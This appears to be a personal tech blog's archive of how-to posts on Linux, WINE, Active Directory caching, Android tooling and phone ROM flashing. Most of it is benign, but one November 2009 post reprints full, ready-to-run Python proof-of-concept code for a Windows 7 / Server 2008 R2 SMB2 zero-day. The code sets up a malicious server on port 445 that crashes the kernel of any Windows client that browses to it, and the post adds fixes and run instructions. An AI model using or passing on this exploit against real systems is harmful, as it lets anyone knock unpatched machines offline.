Showing posts with label hack. Show all posts
Showing posts with label hack. Show all posts

Thursday, 14 April 2011

Reset buttons - useful or not?

I've seen quite a few blogs posts lately complaining about the HTML Reset button. You know, the one that often sits beside the "Submit" button. I think everyone must have accidentally hit Reset at least once. So what's the use of it? Personally I have never seen a web form where a Reset button is necessary. And I have accidentally hit Reset many times - especially when it's placed in the position you normally find the Submit button.

This afternoon I wrote up a quick Google Chrome extension to hide all Reset buttons. Are you sick of accidentally clicking the wrong button? Try out the extension and let me know what you think.

Friday, 14 May 2010

HOW TO Install MetaTrader 4 on Linux

How to run Meta Trader 4 on Linux using WINE.
  1. Sign up for an account at a forex broker, and download their MT4 installer. I used Easy-Forex, but this procedure should work for any version of Meta Trader 4.x.
  2. Install wine on your linux machine (I used wine 1.1.44 on an openSuSE 11.2 machine). Also download winetricks (used to install additional libraries required by MetaTrader).
  3. If you haven't used wine before, run 'winecfg' to create your installation directory. You can then click 'OK' to exit the dialog, or have a look around at the options (I used the defaults).
  4. Start up a Windows computer, and copy all the files in C:\WINDOWS\Fonts into the wine directory (/home/username/.wine/drive_c/windows/Fonts)
  5. Run winetricks to install mfc40 and mfc42:
      sh ./winetricks mfc40 mfc42
  6. Run the MetaTrader installer executable.
       wine ./mt4setup.exe
That's it! You should now be able to run MetaTrader4 by clicking on the icon on the desktop, or running the following command in your Linux shell:

wine /home/username/.wine/drive_c/Program\ Files/yourmt4installdirectory/terminal.exe

If you have any more problems or questions, please contact me by leaving a comment. MetaTrader is running fine for me under openSuSE 11.2 with the latest WINE from the repositories, once MFC40, MFC42 and the correct fonts had been installed.

More information:
http://appdb.winehq.org/objectManager.php?sClass=version&iId=2893
http://www.aboutcurrency.com/university/metatrader/installing_metatrader4_under_linux.shtml
http://easyforextrading4u.com/metatrader-linux/

Appendix:
When you first start MetaTrader4, it might take a while to initialise. You'll see something like the following in the shell output:

fixme:reg:GetNativeSystemInfo (0x58c4c8) using GetSystemInfo()
fixme:toolhelp:CreateToolhelp32Snapshot Unimplemented: heap list snapshot
MetaQuotes Language 4 compiler version 4.00 build 224 (14 May 2009)
Copyright 2001-2009, MetaQuotes Software Corp.

Exp file "Z:\home\david\.wine\drive_c\Program Files\MT4 at easy-forex\experts\MACD Sample.ex4" produced - 0 error(s), 0 warning(s)
Xlib: extension "Generic Event Extension" missing on display ":1000.0".
fixme:reg:GetNativeSystemInfo (0x58c4c8) using GetSystemInfo()
fixme:toolhelp:CreateToolhelp32Snapshot Unimplemented: heap list snapshot
MetaQuotes Language 4 compiler version 4.00 build 224 (14 May 2009)
Copyright 2001-2009, MetaQuotes Software Corp.

Exp file "Z:\home\david\.wine\drive_c\Program Files\MT4 at easy-forex\experts\Moving Average.ex4" produced - 0 error(s), 0 warning(s)
Xlib: extension "Generic Event Extension" missing on display ":1000.0".
fixme:reg:GetNativeSystemInfo (0x58c4c8) using GetSystemInfo()
fixme:toolhelp:CreateToolhelp32Snapshot Unimplemented: heap list snapshot
MetaQuotes Language 4 compiler version 4.00 build 224 (14 May 2009)
Copyright 2001-2009, MetaQuotes Software Corp.

Exp file "Z:\home\david\.wine\drive_c\Program Files\MT4 at easy-forex\experts\indicators\Accumulation.ex4" produced - 0 error(s), 0 warning(s)
Xlib: extension "Generic Event Extension" missing on display ":1000.0".
fixme:reg:GetNativeSystemInfo (0x58c4c8) using GetSystemInfo()
fixme:toolhelp:CreateToolhelp32Snapshot Unimplemented: heap list snapshot
MetaQuotes Language 4 compiler version 4.00 build 224 (14 May 2009)
Copyright 2001-2009, MetaQuotes Software Corp.


Some errors I was encountering before installing the mfc40 and mfc42 libraries:

err:module:import_dll Library KERNELBASE.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Debug-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-ErrorHandling-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-File-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Handle-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Interlocked-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-LibraryLoader-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Localization-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-LocalRegistry-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Memory-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Misc-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-ProcessThreads-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Profile-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-String-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-Synch-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library API-MS-Win-Core-SysInfo-L1-1-0.dll (which is needed by L"C:\\windows\\system32\\MFC42.DLL") not found
err:module:import_dll Library MFC42.DLL (which is needed by L"Z:\\home\\david\\.wine\\drive_c\\Program Files\\MT4 at easy-forex\\MetaEditor.exe") not found
err:module:LdrInitializeThunk Main exe initialization for L"Z:\\home\\david\\.wine\\drive_c\\Program Files\\MT4 at easy-forex\\MetaEditor.exe" failed, status c0000135

Monday, 1 February 2010

How to setup Linux (Ubuntu) Active Directory Authentication with Cached Credentials (Kerberos)

Running Linux, I'm using Kerberos & Samba to authenticate myself using Microsoft Windows Active Directory credentials from our domain controller. I used the guide for Ubuntu to get this setup. However, this would not allow me to login to my computer using AD credentials unless I was connected to the network (and it could access the domain controller). This is how I enabled "credential caching" for offline kerberos / Active Directory authentication on Ubuntu Linux.

I used two tutorials - Ubuntu Community Howto, and Cat in the Red Hat. Basically, since I already had Kerberos authentication working, I just installed the necessary packages:

sudo apt-get install nss-updatedb libnss-db libpam-ccreds

and then edited my /etc/pam.d/common-auth file as per Cat in the Red Hat's instructions.

Listed here is the entire contents of my /etc/pam.d/common-auth file (this allows me to authenticate using first AD credentials, then Unix accounts, then cached credentials):

auth sufficient pam_unix.so nullok try_first_pass
auth requisite pam_succeed_if.so uid >= 500 quiet
auth [default=ignore success=1 service_err=reset] pam_krb5.so use_first_pass
auth [default=die success=done] pam_ccreds.so action=validate use_first_pass
auth sufficient pam_ccreds.so action=store use_first_pass
auth required pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth required pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config


Some of the errors I encountered:

Firstly, caching will not work if you have a line like the following:

#Windows Domain Auth
#auth sufficient pam_winbind.so krb5_auth krb5_ccache_type=FILE


This basically skips everything else when a successful kerberos authentication is made. I just commented this line out, and it worked fine.

If you receive an error such as "su: Error in service module" when trying to login, it may be that your file is misconfigured. Check whether /var/cache/.security.db is being created or updated - if it isn't, then most likely PAM isn't reaching the line where pam_ccreds.so is referenced. Check that you don't have any auth sufficient lines where they shouldn't be.

If you're interested, there's also quite a nice GUI for Active Directory integration at Likewise. I haven't used it, but looks like an easy way to setup AD authentication from Ubuntu without editing heaps of config files.

Tuesday, 19 January 2010

How to open Microsoft Word files in VIrtualBox Windows from Ubuntu

There's a great article about how to setup your system to you can double click a file in Ubuntu, and have it open in a Windows machine within VirtualBox. This, along with the seamless display technology built into the latest VirtualBox release, allows some pretty amazing integration scenarios.

Friday, 18 December 2009

Installing Android Devloper Tools on Eclipse fails - Ubuntu Karmic 9.10

I followed these instructions to install the Eclipse Android Developer Plugins using Eclipse 3.5.1 and the default Ubuntu Karmic install. However I was presented with the following error message when clicking "Next":

Cannot complete the install because one or more required items could not be found.
Software being installed: Android Development Tools 0.9.5.v200911191123-20404 (com.android.ide.eclipse.adt.feature.group 0.9.5.v200911191123-20404)
Missing requirement: Android Development Tools 0.9.5.v200911191123-20404 (com.android.ide.eclipse.adt.feature.group 0.9.5.v200911191123-20404) requires 'org.eclipse.wst.xml.ui 0.0.0' but it could not be found


For some reason ubuntu doesn't include the standard update repository for Eclipse by default. To fix this:
  • Go to "Help/Install New Software..."
  • Add http://download.eclipse.org/releases/galileo/ to the update sites list (strange it's not installed by default on ubuntu)
  • From there, install WST (use the filter box to find the package)
  • Restart eclipse
  • Go back to "Help/Install New Software..." and install the Android ADT as explained on the android website.
References: http://groups.google.com/group/android-developers/browse_thread/thread/c1f97d875e30f903/87cb75ef455d436f?#87cb75ef455d436f

Thursday, 19 November 2009

FULL CODE - Windows 7 Zero Day Exploit Proof of Concept Python Code

Here is the full code for the Windows 7 Zero Day Exploit involving SMB that was first posted here. Exploitation of this vulnerability occurs when a user attempts to browse to Windows Share hosted on the malicious server. On Windows 7, the DoS (denial of service) will occur as soon as you type ‘\\\' in the search box.

My code has fixes to ensure it will run first time. Simply copy and paste the code below into a file named "win7crash.py", and then make sure samba services are stopped ("sudo /etc/init.d/samba stop") and run "sudo python ./win7crash.py".

NOTE: Make sure the line def handle(self): is indented one space. The lines underneath this should be indented two spaces, and the last two lines not indented at all.

#!/bin/python
# This Python file uses the following encoding: utf-8
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent GaffiƩ
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

Saturday, 14 November 2009

How to Install Android Donut 1.6 on HTC Magic 32A (Cyanogen Mod)

I installed the lastest Cyanogen Mod firmware (v4.2.4) -  Android version 1.6 "Donut" release on my HTC Magic 32A type phone. This is the standard HTC branded phone with 292MB of RAM.

NOTE: This process will erase all DATA and APPLICATIONS on your phone. You can use Astro File Manager and My Backup to backup your phone.

Follow the instructions here:
  1. Download HTC ADP 1.6 DRC83 http://www.androidspin.com/downloads.php?dir=enomther/ROM/&file=HTC_ADP_1.6_DRC83_rooted_base.zip
  2. Download the latest CyanogenMod (see post)
  3. Download the Kernel Port file (see post)
  4. Copy all three .zip files to your SD and reboot in Recovery Mode (press Home+Power at the same time or fastboot into your recovery)
  5. Do a "Wipe data/factory reset"
  6. Do a "Wipe SD: ext partition" ** (it is recommended to wipe your Apps2SD partition for this release)
  7. Apply Zip: HTC_ADP_1.6_DRC83_rooted_base.zip
  8. Apply Zip: update-cm-xxxx-signed.zip
  9. Apply Kernel Port Zip: rad-4.xxxx.zip or bc-4.xxxx.zip (depends on who released the latest port: rad - Radix999,bc - bcrook )
  10. Reboot
  11. Either grab some popcorn and watch adb logcat as it goes past, or go do something else.. this might take a while